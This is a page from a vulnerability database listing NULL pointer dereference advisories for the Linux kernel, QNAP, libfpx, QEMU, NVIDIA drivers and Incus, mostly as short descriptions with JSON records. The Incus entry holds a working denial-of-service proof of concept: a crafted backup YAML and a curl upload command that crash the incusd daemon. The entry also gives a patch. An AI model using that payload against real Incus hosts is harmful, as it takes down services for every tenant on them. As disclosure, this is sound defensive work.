Common Weakness Enumeration

CWE-476

Allowed

NULL Pointer Dereference

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product dereferences a pointer that it expects to be valid but is NULL.

6350 vulnerabilities reference this CWE, most recent first.

GHSA-4X9W-MR6V-443W

Vulnerability from github – Published: 2022-05-17 03:38 – Updated: 2022-05-17 03:38
VLAI
Details

fs/fcntl.c in the "aufs 3.2.x+setfl-debian" patch in the linux-image package 3.2.0-4 (kernel 3.2.81-1) in Debian wheezy mishandles F_SETFL fcntl calls on directories, which allows local users to cause a denial of service (NULL pointer dereference and system crash) via standard filesystem operations, as demonstrated by scp from an AUFS filesystem.

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-7118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-08-31T14:59:00Z",
    "severity": "MODERATE"
  },
  "details": "fs/fcntl.c in the \"aufs 3.2.x+setfl-debian\" patch in the linux-image package 3.2.0-4 (kernel 3.2.81-1) in Debian wheezy mishandles F_SETFL fcntl calls on directories, which allows local users to cause a denial of service (NULL pointer dereference and system crash) via standard filesystem operations, as demonstrated by scp from an AUFS filesystem.",
  "id": "GHSA-4x9w-mr6v-443w",
  "modified": "2022-05-17T03:38:53Z",
  "published": "2022-05-17T03:38:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7118"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/oss-sec/2016/q3/395"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/08/31/3"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/92697"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4XC7-4Q59-WFX3

Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2025-12-02 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

drm/mediatek: Add error handling for old state CRTC in atomic_disable

Introduce error handling to address an issue where, after a hotplug event, the cursor continues to update. This situation can lead to a kernel panic due to accessing the NULL old_state->crtc.

E,g. Unable to handle kernel NULL pointer dereference at virtual address Call trace: mtk_crtc_plane_disable+0x24/0x140 mtk_plane_atomic_update+0x8c/0xa8 drm_atomic_helper_commit_planes+0x114/0x2c8 drm_atomic_helper_commit_tail_rpm+0x4c/0x158 commit_tail+0xa0/0x168 drm_atomic_helper_commit+0x110/0x120 drm_atomic_commit+0x8c/0xe0 drm_atomic_helper_update_plane+0xd4/0x128 __setplane_atomic+0xcc/0x110 drm_mode_cursor_common+0x250/0x440 drm_mode_cursor_ioctl+0x44/0x70 drm_ioctl+0x264/0x5d8 __arm64_sys_ioctl+0xd8/0x510 invoke_syscall+0x6c/0xe0 do_el0_svc+0x68/0xe8 el0_svc+0x34/0x60 el0t_64_sync_handler+0x1c/0xf8 el0t_64_sync+0x180/0x188

Adding NULL pointer checks to ensure stability by preventing operations on an invalid CRTC state.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-39807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-16T13:15:51Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/mediatek: Add error handling for old state CRTC in atomic_disable\n\nIntroduce error handling to address an issue where, after a hotplug\nevent, the cursor continues to update. This situation can lead to a\nkernel panic due to accessing the NULL `old_state-\u003ecrtc`.\n\nE,g.\nUnable to handle kernel NULL pointer dereference at virtual address\nCall trace:\n mtk_crtc_plane_disable+0x24/0x140\n mtk_plane_atomic_update+0x8c/0xa8\n drm_atomic_helper_commit_planes+0x114/0x2c8\n drm_atomic_helper_commit_tail_rpm+0x4c/0x158\n commit_tail+0xa0/0x168\n drm_atomic_helper_commit+0x110/0x120\n drm_atomic_commit+0x8c/0xe0\n drm_atomic_helper_update_plane+0xd4/0x128\n __setplane_atomic+0xcc/0x110\n drm_mode_cursor_common+0x250/0x440\n drm_mode_cursor_ioctl+0x44/0x70\n drm_ioctl+0x264/0x5d8\n __arm64_sys_ioctl+0xd8/0x510\n invoke_syscall+0x6c/0xe0\n do_el0_svc+0x68/0xe8\n el0_svc+0x34/0x60\n el0t_64_sync_handler+0x1c/0xf8\n el0t_64_sync+0x180/0x188\n\nAdding NULL pointer checks to ensure stability by preventing operations\non an invalid CRTC state.",
  "id": "GHSA-4xc7-4q59-wfx3",
  "modified": "2025-12-02T21:31:27Z",
  "published": "2025-09-16T15:32:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39807"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0c6b24d70da21201ed009a2aca740d2dfddc7ab5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7d5cc22efa44e0fe321ce195c71c3d7da211fbb2"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9a94e9d8b50bcfe89693bc899a54d3866d86e973"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4XG6-52MH-FPW8

Vulnerability from github – Published: 2026-06-26 18:52 – Updated: 2026-06-26 18:52
VLAI
Summary
Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool}
Details

Summary

(*backend).createDependentVolumesFromBackup in internal/server/storage/backend.go contains a cluster of unguarded pointer derefs on every dependent-volume entry's VolumeSnapshots[i], Volume, and Pool sub-fields. An authenticated user with can_create_instances permission on any project can crash the incusd daemon by uploading an instance backup tarball whose dependent_volumes[*] block contains a nil snapshot pointer (or omits volume: / pool:).

This is a sibling-field variant of the 2026-05-04 batch fix d768f81c0a1d985f35ae56219519822b080bf5e3 ("Properly check dependent volumes on import"). That commit added if disk == nil at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.

Vulnerable code

internal/server/storage/backend.go:9352-9412:

func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {
    ...
    for _, disk := range srcBackup.Config.DependentVolumes {
        if disk == nil {                                  // ← d768f81 parent fix
            return errors.New("Bad dependent volume definition found in index")
        }
        ...
        snapshots := []string{}
        for _, snap := range disk.VolumeSnapshots {
            snapshots = append(snapshots, snap.Name)      // ← I-2 trigger: snap may be nil
        }

        bInfo := backup.Info{
            Project:          disk.Volume.Project,        // ← disk.Volume may be nil
            Name:             disk.Volume.Name,
            Backend:          disk.Pool.Driver,           // ← disk.Pool may be nil
            Pool:             disk.Pool.Name,
            ...
        }
        ...
        devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)
        ...
    }
}

disk has type *config.Config (declared in internal/server/backup/config/backup_config.go:8). Its Volume field is *api.StorageVolume, Pool is *api.StoragePool, VolumeSnapshots is []*api.StorageVolumeSnapshot — all yaml omitempty. YAML omission decodes to nil for each.

The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.

Reach

  1. Attacker is an authenticated client with can_create_instances on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.
  2. POST /1.0/instances with Content-Type: application/octet-stream and X-Incus-name: <name>.
  3. Body is a tar containing backup/index.yaml whose config: block has a non-nil container: (passes instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil) and a dependent_volumes: list with a malformed entry.
  4. Chain: instancesPost -> createFromBackup:854 (Container guard passes) -> pool.CreateInstanceFromBackup -> backend.go:782 b.createDependentVolumesFromBackup -> backend.go:9374 snap.Name panics on the nil *api.StorageVolumeSnapshot element.
  5. incusd dies. Persistent DoS on repeat.

Minimal backup/index.yaml (used in the bundled PoC):

name: poc-inst
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
snapshots: []
config:
  container:
    name: poc-inst
    architecture: x86_64
    type: container
    profiles: ["default"]
    config: {}
    devices: {}
    expanded_devices:
      depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}
    expanded_config: {}
  dependent_volumes:
    - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}
      pool:   {name: default, driver: dir, config: {}}
      volume_snapshots:
        - ~    # explicit null entry → snap.Name at 9374 panics

(The container block must declare at least one device with type: disk, dependent: "true", pool != "", path != "/" to populate devicesMap and reach the second loop. Trivially satisfiable.)

An equivalent triggering YAML omits volume: or pool: from the dependent_volumes entry; in that case disk.Volume.Project at 9378 panics instead.

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + 666-byte poc-inst.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA, build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with default dir pool.

$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
    --data-binary @/tmp/poc-inst.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-Incus-name: poc-inst' \
    http://incus/1.0/instances
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep    # process gone

Daemon panic:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]

goroutine 257 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)
    /build/incus/internal/server/storage/backend.go:9374 +0x42c
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)
    /build/incus/internal/server/storage/backend.go:782 +0x660
main.createFromBackup.func8(...)
    /build/incus/cmd/incusd/instances_post.go:989 +0x2ac
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
    /build/incus/internal/server/operations/operations.go:307 +0x2c

Stack frame backend.go:9374 is the literal snap.Name line.

Impact

  • Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
  • Privileges required: any authenticated user with can_create_instances on any project. Not behind the admin tier.
  • Network attack surface: the Incus REST API on :8443 or the unix socket.
  • CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
  • Versions: v7.0.0 confirmed. The dependent_volumes feature did not exist in v6.x, so the vulnerable code is v7-only.

Suggested fix

--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {
     for _, disk := range srcBackup.Config.DependentVolumes {
         if disk == nil {
             return errors.New("Bad dependent volume definition found in index")
         }
+
+        if disk.Volume == nil || disk.Pool == nil {
+            return errors.New("Bad dependent volume definition: missing volume or pool")
+        }
+
+        for _, snap := range disk.VolumeSnapshots {
+            if snap == nil {
+                return errors.New("Bad dependent volume snapshot definition")
+            }
+        }
+
         optimizedStorage := srcBackup.OptimizedStorage
         optimizedHeader := srcBackup.OptimizedHeader

         snapshots := []string{}
         for _, snap := range disk.VolumeSnapshots {
             snapshots = append(snapshots, snap.Name)
         }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

Severity
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v7/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48754"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T18:52:46Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`(*backend).createDependentVolumesFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry\u0027s `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`).\n\nThis is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` (\"Properly check dependent volumes on import\"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.\n\n## Vulnerable code\n\n[`internal/server/storage/backend.go:9352-9412`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412):\n\n```go\nfunc (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {\n    ...\n    for _, disk := range srcBackup.Config.DependentVolumes {\n        if disk == nil {                                  // \u2190 d768f81 parent fix\n            return errors.New(\"Bad dependent volume definition found in index\")\n        }\n        ...\n        snapshots := []string{}\n        for _, snap := range disk.VolumeSnapshots {\n            snapshots = append(snapshots, snap.Name)      // \u2190 I-2 trigger: snap may be nil\n        }\n\n        bInfo := backup.Info{\n            Project:          disk.Volume.Project,        // \u2190 disk.Volume may be nil\n            Name:             disk.Volume.Name,\n            Backend:          disk.Pool.Driver,           // \u2190 disk.Pool may be nil\n            Pool:             disk.Pool.Name,\n            ...\n        }\n        ...\n        devKey := fmt.Sprintf(\"%s/%s\", disk.Pool.Name, disk.Volume.Name)\n        ...\n    }\n}\n```\n\n`disk` has type `*config.Config` (declared in [`internal/server/backup/config/backup_config.go:8`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its `Volume` field is `*api.StorageVolume`, `Pool` is `*api.StoragePool`, `VolumeSnapshots` is `[]*api.StorageVolumeSnapshot` \u2014 all yaml `omitempty`. YAML omission decodes to nil for each.\n\nThe parent fix mental-modeled \"outer-iteration variable nil\"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.\n\n## Reach\n\n1. Attacker is an authenticated client with `can_create_instances` on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.\n2. `POST /1.0/instances` with `Content-Type: application/octet-stream` and `X-Incus-name: \u003cname\u003e`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose `config:` block has a non-nil `container:` (passes `instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil`) and a `dependent_volumes:` list with a malformed entry.\n4. Chain: `instancesPost` -\u003e `createFromBackup:854` (Container guard passes) -\u003e `pool.CreateInstanceFromBackup` -\u003e `backend.go:782 b.createDependentVolumesFromBackup` -\u003e `backend.go:9374 snap.Name` panics on the nil `*api.StorageVolumeSnapshot` element.\n5. `incusd` dies. Persistent DoS on repeat.\n\nMinimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC):\n\n```yaml\nname: poc-inst\nbackend: dir\npool: default\ntype: container\noptimized: false\noptimized_header: false\nsnapshots: []\nconfig:\n  container:\n    name: poc-inst\n    architecture: x86_64\n    type: container\n    profiles: [\"default\"]\n    config: {}\n    devices: {}\n    expanded_devices:\n      depdisk: {type: disk, dependent: \"true\", pool: default, source: depvol, path: /data}\n    expanded_config: {}\n  dependent_volumes:\n    - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}\n      pool:   {name: default, driver: dir, config: {}}\n      volume_snapshots:\n        - ~    # explicit null entry \u2192 snap.Name at 9374 panics\n```\n\n(The container block must declare at least one device with `type: disk`, `dependent: \"true\"`, `pool != \"\"`, `path != \"/\"` to populate `devicesMap` and reach the second loop. Trivially satisfiable.)\n\nAn equivalent triggering YAML omits `volume:` or `pool:` from the dependent_volumes entry; in that case `disk.Volume.Project` at 9378 panics instead.\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + 666-byte `poc-inst.tar.gz`.\n\nTested against `incus 7.0.0` (zabbly latest GA, build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with default `dir` pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \\\n    --data-binary @/tmp/poc-inst.tar.gz \\\n    -H \u0027Content-Type: application/octet-stream\u0027 \\\n    -H \u0027X-Incus-name: poc-inst\u0027 \\\n    http://incus/1.0/instances\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep incusd | grep -v grep    # process gone\n```\n\nDaemon panic:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]\n\ngoroutine 257 [running]:\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)\n    /build/incus/internal/server/storage/backend.go:9374 +0x42c\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)\n    /build/incus/internal/server/storage/backend.go:782 +0x660\nmain.createFromBackup.func8(...)\n    /build/incus/cmd/incusd/instances_post.go:989 +0x2ac\ngithub.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)\n    /build/incus/internal/server/operations/operations.go:307 +0x2c\n```\n\nStack frame [`backend.go:9374`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backend.go#L9374) is the literal `snap.Name` line.\n\n## Impact\n\n- **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_instances` on any project. Not behind the admin tier.\n- **Network attack surface:** the Incus REST API on `:8443` or the unix socket.\n- **CWE-476** \u2014 Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n- **Versions:** v7.0.0 confirmed. The `dependent_volumes` feature did not exist in v6.x, so the vulnerable code is v7-only.\n\n## Suggested fix\n\n```diff\n--- a/internal/server/storage/backend.go\n+++ b/internal/server/storage/backend.go\n@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {\n     for _, disk := range srcBackup.Config.DependentVolumes {\n         if disk == nil {\n             return errors.New(\"Bad dependent volume definition found in index\")\n         }\n+\n+        if disk.Volume == nil || disk.Pool == nil {\n+            return errors.New(\"Bad dependent volume definition: missing volume or pool\")\n+        }\n+\n+        for _, snap := range disk.VolumeSnapshots {\n+            if snap == nil {\n+                return errors.New(\"Bad dependent volume snapshot definition\")\n+            }\n+        }\n+\n         optimizedStorage := srcBackup.OptimizedStorage\n         optimizedHeader := srcBackup.OptimizedHeader\n\n         snapshots := []string{}\n         for _, snap := range disk.VolumeSnapshots {\n             snapshots = append(snapshots, snap.Name)\n         }\n```\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.",
  "id": "GHSA-4xg6-52mh-fpw8",
  "modified": "2026-06-26T18:52:46Z",
  "published": "2026-06-26T18:52:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-4xg6-52mh-fpw8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incus: Nil-pointer dereference in createDependentVolumesFromBackup\u00a0on disk.{Volume,VolumeSnapshots,Pool}"
}

GHSA-4XHX-535Q-82V7

Vulnerability from github – Published: 2025-10-03 21:30 – Updated: 2025-10-08 21:30
VLAI
Details

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.

We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-52860"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-03T19:15:47Z",
    "severity": "MODERATE"
  },
  "details": "A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.6.3195 build 20250715 and later\nQuTS hero h5.2.6.3195 build 20250715 and later",
  "id": "GHSA-4xhx-535q-82v7",
  "modified": "2025-10-08T21:30:24Z",
  "published": "2025-10-03T21:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52860"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-25-36"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4XJW-JFQH-JJGH

Vulnerability from github – Published: 2022-05-17 01:18 – Updated: 2025-04-20 03:43
VLAI
Details

PFileFlashPixView::GetGlobalInfoProperty in f_fpxvw.cpp in libfpx 1.3.1_p6 allows remote attackers to cause a denial of service (NULL pointer dereference) via a crafted fpx image.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-12921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-28T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "PFileFlashPixView::GetGlobalInfoProperty in f_fpxvw.cpp in libfpx 1.3.1_p6 allows remote attackers to cause a denial of service (NULL pointer dereference) via a crafted fpx image.",
  "id": "GHSA-4xjw-jfqh-jjgh",
  "modified": "2025-04-20T03:43:57Z",
  "published": "2022-05-17T01:18:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12921"
    },
    {
      "type": "WEB",
      "url": "https://blogs.gentoo.org/ago/2017/08/09/libfpx-null-pointer-dereference-in-pfileflashpixviewgetglobalinfoproperty-f_fpxvw-cpp"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2017/08/17/10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4XPQ-QFH7-R9H2

Vulnerability from github – Published: 2023-08-22 21:30 – Updated: 2024-04-04 07:07
VLAI
Details

The hardware emulation in the of_dpa_cmd_add_l2_flood of rocker device model in QEMU, as used in 7.0.0 and earlier, allows remote attackers to crash the host qemu and potentially execute code on the host via execute a malformed program in the guest OS.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-36648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-22T19:16:23Z",
    "severity": "CRITICAL"
  },
  "details": "The hardware emulation in the of_dpa_cmd_add_l2_flood of rocker device model in QEMU, as used in 7.0.0 and earlier, allows remote attackers to crash the host qemu and potentially execute code on the host via execute a malformed program in the guest OS.",
  "id": "GHSA-4xpq-qfh7-r9h2",
  "modified": "2024-04-04T07:07:08Z",
  "published": "2023-08-22T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36648"
    },
    {
      "type": "WEB",
      "url": "https://lists.nongnu.org/archive/html/qemu-devel/2022-06/msg04469.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231006-0004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4XQ8-M4F5-H82H

Vulnerability from github – Published: 2024-05-21 15:31 – Updated: 2024-12-24 18:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

usb: fix various gadgets null ptr deref on 10gbps cabling.

This avoids a null pointer dereference in f_{ecm,eem,hid,loopback,printer,rndis,serial,sourcesink,subset,tcm} by simply reusing the 5gbps config for 10gbps.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-47270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-21T15:15:15Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: fix various gadgets null ptr deref on 10gbps cabling.\n\nThis avoids a null pointer dereference in\nf_{ecm,eem,hid,loopback,printer,rndis,serial,sourcesink,subset,tcm}\nby simply reusing the 5gbps config for 10gbps.",
  "id": "GHSA-4xq8-m4f5-h82h",
  "modified": "2024-12-24T18:30:48Z",
  "published": "2024-05-21T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47270"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/10770d2ac0094b053c8897d96d7b2737cd72f7c5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4b289a0f3033f465b4fd51ba995251a7867a2aa2"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8cd5f45c1b769e3e9e0f4325dd08b6c3749dc7ee"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/90c4d05780d47e14a50e11a7f17373104cd47d25"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b4903f7fdc484628d0b8022daf86e2439d3ab4db"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/beb1e67a5ca8d69703c776db9000527f44c0c93c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f17aae7c4009160f0630a91842a281773976a5bc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-522R-8R5C-938W

Vulnerability from github – Published: 2022-05-17 02:57 – Updated: 2022-05-17 02:57
VLAI
Details

All versions of NVIDIA Windows GPU Display Driver contain a vulnerability in the kernel mode layer (nvlddmkm.sys) handler for DxgkDdiEscape where an attempt to access an invalid object pointer may lead to denial of service or potential escalation of privileges.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-0315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-02-15T23:59:00Z",
    "severity": "HIGH"
  },
  "details": "All versions of NVIDIA Windows GPU Display Driver contain a vulnerability in the kernel mode layer (nvlddmkm.sys) handler for DxgkDdiEscape where an attempt to access an invalid object pointer may lead to denial of service or potential escalation of privileges.",
  "id": "GHSA-522r-8r5c-938w",
  "modified": "2022-05-17T02:57:57Z",
  "published": "2022-05-17T02:57:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0315"
    },
    {
      "type": "WEB",
